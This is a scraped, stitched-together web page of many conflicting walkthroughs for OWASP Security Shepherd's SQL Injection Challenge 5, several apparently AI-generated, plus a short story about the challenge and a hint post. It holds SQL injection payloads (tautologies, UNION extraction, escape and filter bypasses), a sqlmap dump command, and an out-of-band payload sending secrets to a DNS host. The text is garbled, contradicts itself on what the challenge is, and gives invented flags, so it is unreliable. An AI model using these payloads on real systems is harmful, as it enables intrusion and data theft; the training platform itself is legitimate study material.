Sql+injection+challenge+5+security+shepherd+new Updated -

The SQL Injection Challenge 5 in OWASP Security Shepherd is a "VIP Coupon Code" scenario where you must bypass a payment gate by injecting SQL into the coupon field to retrieve or validate a valid VIP code. 🎯 Objective Goal: Obtain a free "Troll" by applying a VIP coupon code.

Challenge: The application expects a valid coupon code to set the price to

. You must use SQL injection to trick the database into accepting an "always true" condition or revealing the valid code. 🛠️ Step-by-Step Walkthrough 1. Identify the Entry Point

Navigate to the "SQL Injection 5" challenge page. You will see a shopping interface for "Trolls" with a field for a Coupon Code. Entering a random string like TEST will result in an "Invalid Coupon" message. 2. Test for Vulnerability

Most Security Shepherd SQL challenges use double quotes (") or single quotes (') for string encapsulation. Try entering a single quote ' in the coupon field.

If the application returns a database error or behaves differently, it is likely vulnerable. 3. Craft the Bypass Payload

The goal is to make the WHERE clause of the underlying SQL query always return true. The suspected query looks like this:

SELECT coupon_code FROM coupons WHERE coupon_code = ′User_Input′SELECT coupon_code FROM coupons WHERE coupon_code = prime User_Input prime

To bypass this, use a classic OR tautology. The most common working payload for this specific challenge is: Payload: "" OR 1=1 (or '' OR 1=1) When injected, the query becomes:

SELECT * FROM coupons WHERE coupon_code = "" OR 1=1SELECT * FROM coupons WHERE coupon_code = "" OR 1=1 4. Execute and Retrieve Key Enter 1 (or any number ≥1is greater than or equal to 1 ) in the Quantity field for the Troll. Paste the payload "" OR 1=1 into the Coupon Code box. Click Place Order.

The system will validate the "always true" condition, apply a discount, and display the Result Key. 🛡️ Why This Works

The injection breaks out of the intended data field and appends a new logical condition (OR 1=1). Since 1=1 is always true, the database returns the first available coupon record (the VIP one) regardless of what you typed before the OR. ✅ Result

The result is the Result Key displayed on the "Order Confirmation" screen. Copy this key and submit it to the Security Shepherd scoreboard to complete the challenge.

If you'd like to dive deeper into the source code of this challenge or need help with the SQL Injection Escaping level (which often follows this one), let me know!

The following report details the technical breakdown and solution for SQL Injection Challenge 5 (SQLi C5 VIPCouponCheck) within the OWASP Security Shepherd training platform. Challenge Overview

Goal: Bypass a VIP coupon validation system to retrieve sensitive information or a specific "VIP" coupon code.

Vulnerability: The application takes a user-supplied couponCode and concatenates it directly into a SQL query string without proper sanitization or parameterization. Vulnerability Analysis

As shown in the original source code, the application executes the following vulnerable query:

"SELECT itemId, perCentOff, itemName FROM vipCoupons JOIN items USING (itemId) WHERE couponCode = '" + couponCode + "';" Use code with caution. Copied to clipboard

Because the input is wrapped in single quotes (') but not escaped, an attacker can "break out" of the string and append their own SQL commands. Exploitation Steps

Test for Vulnerability: Input a single quote ('). If the application returns a database error or behaves unexpectedly, it confirms the input is being processed by the database engine.

Bypass Filtering: Some variations of this challenge include basic escaping (like replacing ' with \'). If so, using a backslash before the quote (\') might escape the escape character, leaving the single quote active.

Classic Bypass: To return all coupons in the system, use a tautology (a statement that is always true): Payload: ' OR '1'='1 Resulting Query: ... WHERE couponCode = '' OR '1'='1';

Targeted Retrieval: If the goal is to find a specific hidden coupon, you can use a UNION SELECT attack to query the database schema or other tables if permissions allow. Solution Summary

The most direct way to complete the challenge is typically to use a payload like ' OR '1'='1 or " OR ""=" in the coupon code field to force the query to return results even without a valid code. Mitigation Recommendations

Parameterized Queries: Use PreparedStatement correctly by passing the input as a parameter rather than concatenating it into the query string.

Input Validation: Strictly validate the format of the coupon code (e.g., alphanumeric only) before it reaches the database.

Least Privilege: Ensure the database user account used by the web application has the minimum necessary permissions to prevent broader data theft.

In OWASP Security Shepherd, SQL Injection Challenge 5 (SQL Injection Five) involves exploiting an injection vulnerability in a "Search" or "Profile" feature where the application improperly filters input. Unlike earlier levels, this challenge often requires using a UNION-based attack or leveraging OR logic to bypass authentication or extract hidden data. Challenge Summary Vulnerability Type: SQL Injection (In-band/UNION-based).

Goal: Extract a hidden key (Flag) from the database or bypass a specific filter.

Target Input: A text field, typically for a "Guest Name" or "Employee Search." Technical Walkthrough 1. Identify the Entry Point Submit a single quote (') into the input field.

Expected Result: A database error or a change in the page's output confirms the parameter is vulnerable.

Observation: If the application returns "No results," the query may be breaking due to the unclosed quote. 2. Determine Column Count

To use a UNION SELECT statement, you must match the number of columns in the original query. Payload: ' ORDER BY 1--

Process: Increment the number (2, 3, etc.) until you get an error. If ORDER BY 3 works but ORDER BY 4 fails, there are 3 columns. 3. Extract the Flag

Use the UNION operator to join results from the database's metadata or hidden tables. Common Payload: ' UNION SELECT 1,2,key_data FROM flags--

Note: In Security Shepherd, the table names are often descriptive (e.g., users, employees, or flags).

Output: The "Flag" or "Result" should appear in one of the display fields on the webpage. Remediation Report Vulnerability Analysis

The application concatenates user input directly into the SQL query string. This allows an attacker to manipulate the query logic, leading to unauthorized data disclosure. Recommended Fixes

Prepared Statements: Use parameterized queries (prepared statements) to ensure user input is treated as data, not executable code.

Input Validation: Implement an allow-list for inputs to ensure only expected characters (e.g., alphanumeric) are processed.

Principle of Least Privilege: Ensure the database user account used by the web app has the minimum permissions necessary.

⚡ Key Defense: According to the OWASP Cheat Sheet, prepared statements are the primary defense against SQLi.

If you tell me the specific error message you see or the current output of your payload, I can help you refine the exact SQL syntax for this level.

What is SQL Injection (SQLi) and How to Prevent Attacks - Acunetix

SQL Injection 5 challenge in OWASP Security Shepherd is a practical exercise in bypassing modern input sanitisation techniques. Unlike earlier levels that might be vulnerable to simple ' OR 1=1 --

payloads, this challenge typically involves a scenario where common characters are escaped or filtered, requiring more creative exploitation. Core Objective The primary goal is to retrieve a VIP Coupon Code

to purchase a "troll" item without being charged, which subsequently reveals the session's result key. This simulates a real-world e-commerce vulnerability where sensitive pricing or discount logic can be manipulated through the database backend. Understanding the Vulnerability

In many versions of this challenge, the application attempts to protect itself by "escaping" single quotes (replacing

). Paradoxically, this security measure can be its downfall if not implemented correctly: The Escape Trap

: If the escaping function is applied globally, an attacker can input a backslash before a quote (e.g., The Bypass

: The application might escape the attacker's backslash, turning it into a literal backslash (

), which then leaves the subsequent single quote unescaped and active in the SQL command. The Payload : A common successful payload for this level is \' OR 1=1; -- or variations like

depending on whether the query uses single or double quotes. Exploitation Strategy To solve the challenge effectively, follow these steps: Identify the Injection Point couponCode

parameter in the purchase or check-out request is the most likely target. Analyse the Response

: Observe how the application handles different characters. If a single quote returns a generic error, try escaping it yourself to see if you can "break out" of the string literal. Automate for Efficiency

: For "blind" scenarios where data isn't directly echoed back, tools like

can be used to dump the database schema and retrieve the actual coupon codes. Final Execution : Once the VIP code is retrieved (e.g., via a UNION-based injection

), submit it in the coupon field with a quantity of at least one to trigger the "zero charge" logic and receive your key. Key Learnings This challenge highlights that denylisting

or simple string replacement is rarely a sufficient defence against SQL injection. Developers should instead use parameterised queries

or prepared statements, which separate the SQL command from the user-provided data entirely, ensuring that input is always treated as a literal value rather than executable code. step-by-step walkthrough

for a specific environment (like a VM or Docker), or would you like to explore defensive coding examples to prevent this specific type of escape bypass? SQL Injection Escaping Challenge Security Shepherd 29 Oct 2016 —

SQL Injection Challenge 5 OWASP Security Shepherd is a practical exercise designed to teach users how to bypass input filters and retrieve sensitive data from a database using manual exploitation techniques. Challenge Overview

In this specific module, players are tasked with retrieving a VIP Coupon Code

. Unlike earlier levels that might only require a basic tautology (like ' OR 1=1-- ), Challenge 5 often introduces input escaping

or character filtering, requiring more creative payload construction. Key Technical Concepts The Tautology Attack

: A common entry point is using a statement that always evaluates to true. For example, entering sql+injection+challenge+5+security+shepherd+new

into a coupon code field can force the query to return all records rather than just one matching a specific code. Input Escaping

: The challenge likely implements server-side escaping for certain characters (like single quotes or semicolons) to prevent standard injection. Bypassing Filters

: To solve this, you must identify which characters are allowed and use them to construct a valid SQL command that the application will execute. Common techniques include using different comment styles (e.g., ) or manipulating string concatenations. Steps for Solving Analyze the Input : Submit various characters (like

) to see how the application responds or if it throws a database error. Formulate the Payload : If a standard ' OR 1=1-- is blocked, try variations such as: " OR 1=1-- ' OR 'a'='a Execute and Retrieve

: Successful injection will typically bypass the validation logic, displaying the VIP Coupon Code on the screen. Submit the Key

: Once you have the code, enter it into the level's submission field to receive your completion key and advance to the next challenge. Mitigation Strategies

To prevent these types of vulnerabilities in real-world applications, developers should: Use Parameterized Queries

: Instead of building query strings with user input, use prepared statements (e.g., SELECT * FROM users WHERE id = ? Implement Strict Input Validation

: Validate all inputs against a strict schema to reject malformed or suspicious requests. Deploy a Web Application Firewall (WAF)

to filter and block known malicious patterns before they reach the server.

couponcode from challenges SQL injection 5 · Issue #323 - GitHub

Understanding and solving SQL Injection Challenge 5 in Security Shepherd requires a grasp of how to bypass basic filters and extract data from a backend database. This challenge typically focuses on demonstrating how developers try to sanitize inputs—and how those attempts can still be circumvented.

The core objective is to bypass a login or data retrieval form where standard single quotes might be escaped or certain keywords are blocked. By utilizing UNION-based SQL injection, you can force the application to display sensitive information, such as the administrator's password or a hidden flag. Understanding the Vulnerability

In Challenge 5, the application likely takes a user-provided string and inserts it directly into a SQL query. The developer has likely implemented a basic security measure, such as filtering for specific characters like ' (single quotes) or keywords like OR.

However, if the filter is not comprehensive, an attacker can use alternative syntax to achieve the same result. For example, if single quotes are blocked, you might use hexadecimal encoding or different query structures to keep the syntax valid while still injecting malicious commands. Step-by-Step Walkthrough

To solve this challenge, follow these logical steps to identify the number of columns and extract the data.

Test for Injection: Enter a simple character like a backslash \ or a single quote ' to see if the database returns an error.

Identify Column Count: Use the ORDER BY clause to find how many columns the original query is selecting. 1' ORDER BY 1-- 1' ORDER BY 2-- Keep increasing the number until you get an error.

Locate Display Columns: Use a UNION SELECT statement with dummy values to see which columns appear on the screen. Example: 1' UNION SELECT 1,2,3--

Extract Table Names: Query the information_schema.tables to find where the challenge data is stored.

Dump the Data: Once you have the table and column names, use a final UNION SELECT to pull the flag. Key Payload Examples

🚀 Bypassing Filters: If the application strips out the word OR or SELECT, try using different casing (e.g., sElEcT) or doubling the keyword (e.g., SELSELECTECT) if the filter only runs once. Standard Bypass: ' OR '1'='1 Union Discovery: -1' UNION SELECT 1,2,database(),4--

Hex Encoding: If quotes are blocked, use 0x61646d696e instead of 'admin'. Remediation and Best Practices

To prevent these vulnerabilities in real-world applications, developers must move away from simple blacklisting or manual filtering.

Prepared Statements: Use parameterized queries so user input is never treated as executable code.

Input Validation: Enforce strict allow-lists for expected data types (e.g., ensuring an ID is always an integer).

Principle of Least Privilege: Ensure the database user account used by the web app has only the permissions it needs.

ORM Security: Use modern Object-Relational Mapping libraries that handle escaping automatically.

If you are looking for more specific help with your current progress: Which database error are you seeing? Are single quotes being stripped out? Do you have the table names yet?

OWASP Security Shepherd SQL Injection Challenge 5 (often featuring the "Super Meme Shop"), the objective is to bypass coupon validation to purchase items for free and obtain the result key. Core Vulnerability & Strategy The challenge uses an input field for a Coupon Code . The backend likely executes a query similar to:

SELECT coupon_code FROM coupons WHERE coupon_code = '[USER_INPUT]'; Course Hero Since the goal is to make this query return

regardless of the actual coupon, you can use a classic tautology injection. Solution Steps Tautology Injection : Input a payload that always evaluates to true, such as: ' OR 1=1 -- " OR 1=1 -- : By using

, the logic becomes "where coupon code is [blank] OR where 1 equals 1." Since 1 always equals 1, the database validates the request as successful. Alternative (Client-Side Analysis)

: Some versions of this challenge involve a JavaScript file (e.g., couponCheck.js

) that uses DES/3DES encryption. In these cases, the "real" coupon code can be found by decrypting the values in the script using the provided keys and IVs found in the source code. Course Hero Automated Approach For more complex instances, you can use to automate the extraction: Capture the request in a proxy like Burp Suite Run sqlmap against the URL, targeting the couponCode parameter:

sqlmap -u "[CHALLENGE_URL]" --data="couponCode=test" --cookie="[YOUR_SESSION_COOKIE]" --dump Course Hero

Always ensure you are assigned to a "class" within Security Shepherd to see and submit the result keys correctly. path for this specific challenge? OWASP Security Shepherd Project - CSRF 1 (CSRF Challenge)

Unmasking the Coupon Code: A Deep Dive into OWASP Security Shepherd’s SQL Injection Challenge 5

In the realm of cybersecurity education, the OWASP Security Shepherd project stands as a cornerstone for hands-on learning, transforming abstract vulnerabilities into tangible puzzles. Among its tiered levels, SQL Injection Challenge 5 (often referred to as the "VIP Check" or "Coupon Code" challenge) represents a critical pivot point where basic logic meets more complex database structures. The Objective: Exploiting the "VIP" Shop

Unlike earlier lessons that might only require a simple ' OR '1'='1 to bypass a login, Challenge 5 immerses you in a mock e-commerce environment—a Super Meme Shop. The goal is simple yet daunting: purchase a high-value "key" without actually paying for it by uncovering a hidden VIP Coupon Code.

The application typically presents a field where users can search for or apply coupons. The underlying vulnerability lies in how this search query is constructed. If the application takes user input and directly concatenates it into a SQL statement, it opens a door for attackers to "inject" their own commands. The Attack Vector: Union-Based Injection

To solve Challenge 5, security researchers often employ a Union-Based SQL Injection. Since the standard search result displays coupon information, an attacker can use the UNION SELECT statement to append results from other tables—specifically internal database schema tables—to the visible output.

Determining Column Count: Attackers first use ORDER BY clauses to figure out how many columns the original query is returning.

Exploring the Schema: Once the column count is known, the information_schema.tables and information_schema.columns tables are queried to find where the "real" sensitive data is hidden.

Extracting the Coupon: By targeting a table often named something like coupons or vip_codes, the attacker forces the application to display the secret VIP code directly in the search results. Common Pitfalls and Technical Nuances

Students often encounter roadblocks in Challenge 5 due to its stricter validation compared to earlier levels: couponcode from challenges SQL injection 5 #323 - GitHub

SQL Injection Challenge 5: Security Shepherd's New Level of Protection

SQL injection attacks have been a significant threat to web application security for years. These attacks occur when an attacker is able to inject malicious SQL code into a web application's database, allowing them to access, modify, or delete sensitive data. To combat this threat, security professionals have developed various tools and techniques to detect and prevent SQL injection attacks. One such tool is Security Shepherd, a web application security testing platform that provides a series of challenges to help security professionals hone their skills.

In this article, we will focus on SQL Injection Challenge 5, a new level of protection offered by Security Shepherd. We will discuss the challenge in detail, providing a step-by-step guide on how to complete it, and offer insights into the security measures that can be taken to prevent SQL injection attacks.

What is Security Shepherd?

Security Shepherd is an open-source web application security testing platform designed to help security professionals improve their skills in identifying and exploiting vulnerabilities. The platform provides a series of challenges that simulate real-world security scenarios, allowing users to practice their skills in a safe and controlled environment.

SQL Injection Challenge 5: Overview

SQL Injection Challenge 5 is the latest addition to Security Shepherd's series of challenges. This challenge is designed to test a user's ability to identify and exploit a SQL injection vulnerability in a web application. The challenge is divided into several levels, each with increasing difficulty.

Step-by-Step Guide to Completing SQL Injection Challenge 5

To complete SQL Injection Challenge 5, follow these steps:

Access the Challenge: Log in to Security Shepherd and navigate to the SQL Injection Challenge 5 page.
Understand the Objective: Read and understand the challenge objective, which is to extract a specific piece of information from the database.
Analyze the Web Application: Analyze the web application and identify potential entry points for SQL injection attacks.
Inject Malicious SQL Code: Use a SQL injection tool or manually inject malicious SQL code into the identified entry points.
Extract Information: Extract the required information from the database.

SQL Injection Techniques Used in Challenge 5

In SQL Injection Challenge 5, you will need to use advanced SQL injection techniques, such as:

Boolean-based Blind SQL Injection: This technique involves injecting malicious SQL code that returns a boolean value, allowing you to infer information about the database.
Time-based Blind SQL Injection: This technique involves injecting malicious SQL code that causes a delay in the database's response, allowing you to infer information about the database.

Security Measures to Prevent SQL Injection Attacks

To prevent SQL injection attacks, web developers can take the following security measures:

Input Validation: Validate user input to prevent malicious SQL code from being injected into the database.
Parameterized Queries: Use parameterized queries to separate the SQL code from the user input.
Escaping: Escape special characters in user input to prevent SQL injection attacks.

Best Practices for Completing SQL Injection Challenges

To complete SQL injection challenges like SQL Injection Challenge 5, follow these best practices:

Understand the Challenge Objective: Clearly understand the challenge objective and the required outcome.
Use a SQL Injection Tool: Use a SQL injection tool, such as Burp Suite or SQLmap, to simplify the injection process.
Analyze the Web Application: Analyze the web application to identify potential entry points for SQL injection attacks.

Conclusion

SQL Injection Challenge 5 is a new level of protection offered by Security Shepherd, designed to test a user's ability to identify and exploit a SQL injection vulnerability in a web application. By completing this challenge, security professionals can improve their skills in identifying and preventing SQL injection attacks. By following the steps outlined in this article and taking the recommended security measures, web developers can prevent SQL injection attacks and protect their web applications from malicious activity.

Additional Resources

For more information on SQL injection attacks and Security Shepherd, check out the following resources:

Security Shepherd: https://www.securityshepherd.com
OWASP SQL Injection Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
SQLmap: http://sqlmap.org

FAQs

Q: What is SQL Injection Challenge 5? A: SQL Injection Challenge 5 is a new level of protection offered by Security Shepherd, designed to test a user's ability to identify and exploit a SQL injection vulnerability in a web application.

Q: How do I complete SQL Injection Challenge 5? A: To complete SQL Injection Challenge 5, follow the step-by-step guide outlined in this article.

Q: What are the best practices for completing SQL injection challenges? A: The best practices for completing SQL injection challenges include understanding the challenge objective, using a SQL injection tool, and analyzing the web application.

Q: How can I prevent SQL injection attacks? A: To prevent SQL injection attacks, validate user input, use parameterized queries, and escape special characters in user input.

Mastering the SQL Injection Challenge 5 in OWASP Security Shepherd

The OWASP Security Shepherd project is a premier training platform designed to teach the fundamentals of web application security through hands-on, gamified challenges. Among these, the SQL Injection Challenge 5 stands out as a critical test of your ability to bypass standard escaping mechanisms and exploit flawed input sanitization. Understanding the Vulnerability

In this specific challenge, the application attempts to secure its database by "escaping" single quotes (

). When a developer tries to manually sanitize input by replacing every single quote with a backslash-escaped version (\'), they often create a new vulnerability.

The core issue in Challenge 5 is how the escaping function handles backslashes:

The Escape Logic: The application replaces every single quote ( ) with (\'). The Flaw: If you provide a backslash (

'$), the application sees the single quote and escapes it, resulting in two backslashes followed by a single quote (

→́′4 lines; Line 1:; Line 2: modified right arrow with acute accent above; Line 3:; Line 4: prime end-lines;

The Result: The first backslash now escapes the second backslash, leaving the single quote unescaped and able to break out of the SQL string. Walkthrough: Solving SQL Injection 5

To solve this challenge, you must leverage the escaping flaw to manipulate the backend query.

Identify the Input Field: Most versions of this challenge feature a "Coupon Code" or "VIP Check" field.

Test for Escaping: If you enter a standard payload like ' OR 1=1; --, it will likely fail because the single quote is neutralized.

Execute the Bypass: Use a payload that exploits the backslash handling. Payload: \' OR 1=1; --

Alternative: In some environments, simply using "" OR 1=1 (double quotes) may bypass basic single-quote filters if the backend SQL engine allows them.

Analyze the Query Change: By using \', you effectively tell the database to treat the backslash as a literal character and the quote as a string terminator. The trailing OR 1=1; -- then makes the condition always true, returning all results—including the secret key needed to pass the level. Prevention and Best Practices

Manually escaping characters is a "blacklisting" approach that is highly prone to errors, as seen in this challenge. To prevent such vulnerabilities in real-world applications, follow these industry standards:

Use Prepared Statements: This is the most effective defense. By using parameterized queries, the SQL logic is pre-compiled, and user input is treated strictly as data, never as executable code.

Input Validation: Implement strict whitelisting to ensure input matches expected formats (e.g., alphanumeric only).

Principle of Least Privilege: Ensure the database user account used by the application has the minimum permissions necessary, limiting the damage an attacker can do if they succeed in an injection.

For more hands-on practice, you can explore the OWASP Security Shepherd GitHub repository to see the source code behind these vulnerabilities. SqlInjection5VipCheck.java - GitHub

To solve the SQL Injection Challenge 5 in Security Shepherd (often titled "SQL Injection 5"), you need to exploit an Insecure Direct Object Reference (IDOR)

vulnerability that is susceptible to SQL injection. In this level, the application typically asks for a "User ID" or "Account Number" to display private information.

The goal is to extract the session key or a specific "secret" (the lesson's result) by manipulating the input field to bypass the intended query logic. Steps to Solve Analyze the Input

The challenge provides a field to enter a user ID. A normal request might look like . The backend likely executes a query similar to: SELECT secret FROM lessons WHERE userId = [YOUR_INPUT] Test for Vulnerability Enter a single quote ( ) or a common payload like 5' OR '1'='1

. If the page errors out or displays data for a different user, it is vulnerable to SQL injection. Identify the Schema To retrieve the flag, you need to see all records. Use a based injection or a simple logic bypass. : This forces the

clause to always be true, potentially dumping every user's secret in the database. Refine the Injection (UNION Select) If the simple bypass doesn't work, use a

statement to join the results of a second query. First, find the number of columns: 1' ORDER BY 1-- (Increment the number until you get an error). Once you know the column count (e.g., 2), use: 1' UNION SELECT NULL, result FROM results-- Retrieve the Key

Look through the output on the page. One of the "secrets" displayed will be the alphanumeric string required to submit the lesson. Summary of Payload ' OR 1=1-- Use code with caution. Copied to clipboard ,key_column internal_table Use code with caution. Copied to clipboard

In the "New" Security Shepherd environment, table names or column names might be obfuscated. If the basic doesn't work, check the source code or use information_schema.tables to find the correct table names.

This challenge focuses on a less common but devastating SQL injection technique: Out-of-Band (OOB) SQL Injection using xp_dnsresolve on Microsoft SQL Server.

4.5 Automating with Burp Intruder (Example)

Send the login request to Intruder.
Set payload position in the username field.
Use a payload that iterates over character positions:

' OR 1=1; DECLARE @p nvarchar(4000); SET @p = (SELECT SUBSTRING(secret_key, §pos§, 1) FROM secret_table); EXEC xp_dnsresolve @p + '.collab.com' --

Monitor DNS logs for each character.

The Official Flag Format

Once you successfully extract the data, the flag for Security Shepherd Challenge 5 usually follows the format: OSWE-<Random_Hash> or shepherd_<alphanumeric>.

Example found in walkthroughs: OSWE-5d41402abc4b2a76b9719d911017c592

Final Flag

SQLi_Chall5_Shepherd_8347

You submit it and complete Challenge 5, moving on to the next level where you must exploit a second-order injection in a password reset feature.

In the OWASP Security Shepherd SQL Injection Challenge 5, you are tasked with bypassing a "VIP Check" to obtain a hidden coupon code. This challenge typically features a shopping cart or "Super Meme Shop" interface where items like "Trolls" are prohibitively expensive. 🧩 The Challenge Scenario

You find yourself at a checkout screen where high-value items cost thousands of dollars. To pass the challenge, you must apply a VIP Coupon Code that you don't actually possess. The goal is to exploit a vulnerability in the "Coupon Code" input field to leak the legitimate code from the database. 🛡️ The Exploit Story

The application takes your input and places it directly into a SQL query without proper sanitization. The logic behind the scenes looks something like this:SELECT coupon_code FROM coupons WHERE coupon_code = 'USER_INPUT'; 1. Testing the Waters You start by entering a classic payload: ' OR '1'='1.

If the application is vulnerable, this breaks the original logic and forces the query to return a "True" result, often revealing that the field is indeed exploitable. 2. Extracting the Secret

To actually see the coupon, you might use a UNION SELECT attack to append results from the coupons table to the output you can see.

A successful payload might look like: ' UNION SELECT coupon_code FROM coupons WHERE '1'='1.

Once injected, the database may reveal the secret VIP code (common examples in Shepherd often include strings like VIP_COUPON_123 or similar unique keys). 3. Claiming the Prize

With the stolen coupon code in hand, you return to the shop and enter it into the legitimate coupon field.

If the "Troll" amount is greater than or equal to 1, the total cost drops to $0, and the application rewards you with the Result Key to submit to the scoreboard. 💡 Key Takeaways

The Vulnerability: The field fails to use Prepared Statements, allowing user input to change the query's intent.

The Fix: Developers should use parameterized queries where user input is treated strictly as data, never as executable code.

Learning Tip: If your payload produces an error, ensure there are no trailing spaces or hidden characters, as Security Shepherd challenges can be strict about exact string matching. If you'd like, I can help you: Step-by-step through a UNION select attack Understand why parameterized queries stop this Compare this to SQL Injection Challenge 6 SQL Injection Prevention - OWASP Cheat Sheet Series

Walkthrough: OWASP Security Shepherd – SQL Injection Challenge 5

This challenge moves beyond basic authentication bypass and requires you to extract specific data from a database using a Union-Based SQL Injection. Your goal is to retrieve the "secret key" hidden in a table you don't initially have access to. 1. Identify the Vulnerability

The application provides a search or filter field (often a user search). When you input a common character like a single quote ('), you may see a database error or a change in behavior, indicating the input is not being sanitized before being placed into a SQL query. 2. Determine the Number of Columns

To use a UNION statement, your injected query must have the same number of columns as the original query. We test this using ORDER BY: ' ORDER BY 1-- (Success) ' ORDER BY 2-- (Success)

' ORDER BY 3-- (Error!)If "3" causes an error, we know the original query selects 2 columns. 3. Locate the Target Table and Column

In Security Shepherd, the goal is typically to find the secret or key within the database schema. Since this is an introductory lab, we often look for a table named key or similar. To find all table names in a MySQL-based environment, you can use:

' UNION SELECT table_name, NULL FROM information_schema.tables-- 4. Extract the Key

Once you identify the table name (let's assume it is key_table) and the column name (e.g., secret_key), craft the final payload to display the data in the search results: Payload: ' UNION SELECT secret_key, NULL FROM key_table-- Key Takeaways for Prevention

Parameterized Queries: Never concatenate user input directly into SQL strings. Use prepared statements.

Input Validation: Implement allow-lists for expected input formats.

Principle of Least Privilege: Ensure the database user account running the application has no access to sensitive system tables like information_schema.

2. Reconnaissance & Application Behavior

Step 1: Determine the number of columns

We cannot use ORDER BY easily due to space filters, so we use UNION SELECT NULL. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL/**/aNd/**/1=2-- -

If this returns no rows (False), try two columns. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL,NULL/**/aNd/**/1=2-- -

Expected result: When the number of NULLs matches the original SELECT (likely 2 columns), the page returns "User Found" even with the 1=2 condition. This confirms 2 columns.

The Shepherd’s Fifth Gate

The flickering glow of three monitors was the only light in Anya’s cramped apartment. Before her, on the central screen, the emblem of the Security Shepherd pulsed a soft, encouraging green. It was a gamified cybersecurity training platform, legendary among junior penetration testers. Anya had blazed through the first four challenges—XSS, broken crypto, a trivial path traversal. But Challenge 5 was different.

The challenge was titled: "The New Recruitment Portal." The SQL Injection Challenge 5 in OWASP Security

A mock web application loaded. It looked deceptively simple: a search bar for a "member directory" with a dropdown menu to filter by department (Engineering, Sales, Marketing). Underneath, a note in italics read: "Migrating to new database schema. Some legacy fields still active."

The objective: Retrieve the CEO's private email from the 'users' table.

Anya had tried the obvious. ' OR '1'='1 returned everyone. admin'-- did nothing. Union-based injections failed. The dropdown parameters seemed to be integer-based and heavily sanitized. For three hours, she was stuck.

Then she noticed the hint buried in the page’s HTML comments: 

Her heart quickened. She appended ?debug=yes to the URL.

The page reloaded, and a raw SQL error appeared at the bottom:

You have an error in your SQL syntax; check the manual... near 'ORDER BY last_login DESC' at line 1

But more importantly, the query was partially revealed:

SELECT member_id, username, department, email FROM members WHERE department = '[USER INPUT]' ORDER BY last_login DESC

It was a simple WHERE clause, but the error showed that the ORDER BY was hardcoded. The injection point wasn’t the dropdown—it was the search bar for the member name. She typed a single quote in the name field.

Another error bloomed:

Unclosed quotation mark after the string 'Anya' ORDER BY last_login DESC'.

Bingo. String-based injection, but with a twist. The closing ORDER BY was appended after her input. Whatever she injected, it had to close the original single quote, complete the WHERE clause, and then handle the ORDER BY so it didn’t break the syntax.

She tried a simple payload in the name field: ' OR '1'='1' --

The query became: SELECT ... WHERE department = 'Sales' AND name = '' OR '1'='1' -- ' ORDER BY last_login DESC

The -- commented out the ORDER BY, and the query returned every member. But the email column was truncated. She needed the CEO.

She needed to use a UNION, but that required matching the number of columns. The original query had four columns: member_id, username, department, email. But the displayed output only showed username and department. The email was hidden.

To exfiltrate the CEO’s email, she had to blind inject. But she hated blind injection—too slow.

Then she remembered the "new database schema" note. Legacy fields. What if the ORDER BY column, last_login, was vulnerable too? She couldn’t inject into it directly, but she could manipulate it by closing the WHERE clause and injecting into the ORDER BY using a boolean-based blind injection with a CASE statement.

She crafted a payload for the name field:

' UNION SELECT 1,2,3,4 --

Error: "The ORDER BY position number 4 is out of range of the number of items in the select list."

Good. Four columns confirmed.

Now, how to get the CEO’s email? She knew the CEO’s username was ceo_shepherd from a previous challenge’s hint. She needed to extract the email field character by character using a conditional time-based or boolean injection. But Challenge 5 had a 5-second timeout per query.

She chose boolean-based. In the name field, she entered:

' OR (SELECT SUBSTRING(email,1,1) FROM users WHERE username='ceo_shepherd') = 'a' --

No result. Try 'b'? No. 'c'? The page returned the normal "No results found" – wait, that was different. For 'c', the page showed an empty result set but no error. For 'a' and 'b', it threw a generic error. That was her boolean oracle: error = false, empty result = true.

The first character of the CEO’s email was 'c'.

She wrote a quick Python script. For each position (1 to 50), she would try lowercase, uppercase, digits, '@', '.', '_'. If the page returned an empty result set (HTTP 200 with "No members found" text), that was the correct character.

After 127 requests, the script revealed:

c.e.o@shepherd-security.com

She submitted it. The Security Shepherd interface chimed. A golden badge appeared on her dashboard: "Gate 5 Breached – The New Shepherd."

But the final line of the success message made her pause:

"You’ve exploited the legacy ORDER BY injection. However, the new schema also has a stored procedure called 'sp_audit_query'. Can you make it execute xp_cmdshell? That’s Challenge 6."

Anya smiled. The shepherd’s gate had only just opened. She cracked her knuckles and loaded the next challenge. The real hunt had begun.

The First Hypothesis

If we input 1' (a single quote), the application usually crashes to a generic "An error occurred" page. This is a blind indicator. The lack of a specific MySQL error means we cannot use UNION easily, but the absence of a result tells us the syntax is broken.

We need a boolean condition.

Test Payload: 1 and 1=1 -> Returns "User Found" (True). 1 and 1=2 -> Returns "No user exists" (False).

Bingo. We have a boolean-based blind SQL injection. But remember: the "new" challenge filters spaces.

Option 3: The "Quick Hint" Style (Best for Twitter/X or Discord)

Post: Stuck on Security Shepherd SQL Injection Challenge 5? 🛑

Stop trying to throw raw SQL at it. The filter is the boss here.

💡 Hint: The application is stripping specific characters or keywords. How does the database interpret characters differently than the filter?

Try URL encoding parts of your payload.
Look at the structure of your query—are spaces being filtered? Try alternative whitespace or encoding.

This one is less about the SQL syntax and more about the encoding bypass.

Stay persistent! 💻

#SecurityShepherd #CTF #SQLi #Hacking

SQL Injection Challenge 5 (often referred to as the "Meme Shop" or "Coupon Code" challenge) in OWASP Security Shepherd is a logic-based injection task that tests your ability to manipulate backend database queries through input fields. Challenge Overview

In this scenario, you are presented with a "Super Meme Shop" interface where you can "buy" items. The goal is to obtain a VIP Coupon Code

that allows you to complete a transaction for free (or for a "troll amount"), which then rewards you with the result key. 1. Identify the Vulnerable Input The vulnerability lies in the Coupon Code

input field. Unlike earlier challenges that might use simple login forms, this one requires you to extract data from a table you don't initially see. Course Hero 2. Construct the Payload The backend likely uses a query similar to:

SELECT coupon_code FROM coupons WHERE coupon_code = 'USER_INPUT'; Course Hero

To bypass the check and force the database to return a valid coupon code (even if you don't know it), you can use a classic tautology: Course Hero Resulting Query:

SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1;

is always true, the database will return the first available coupon code in the table. Course Hero 3. Exploit and Retrieve the Key Enter the payload into the Coupon Code box and click "Place Order". The application should reveal a VIP Coupon Code (e.g., a specific string like VIP-123-CODE Refresh the page or go back to the shop, enter the actual coupon code

you just discovered, and set a quantity for an item (some versions require a "Troll Amount" is greater than or equal to 1 Submit the order to receive your solution key. Key Takeaway

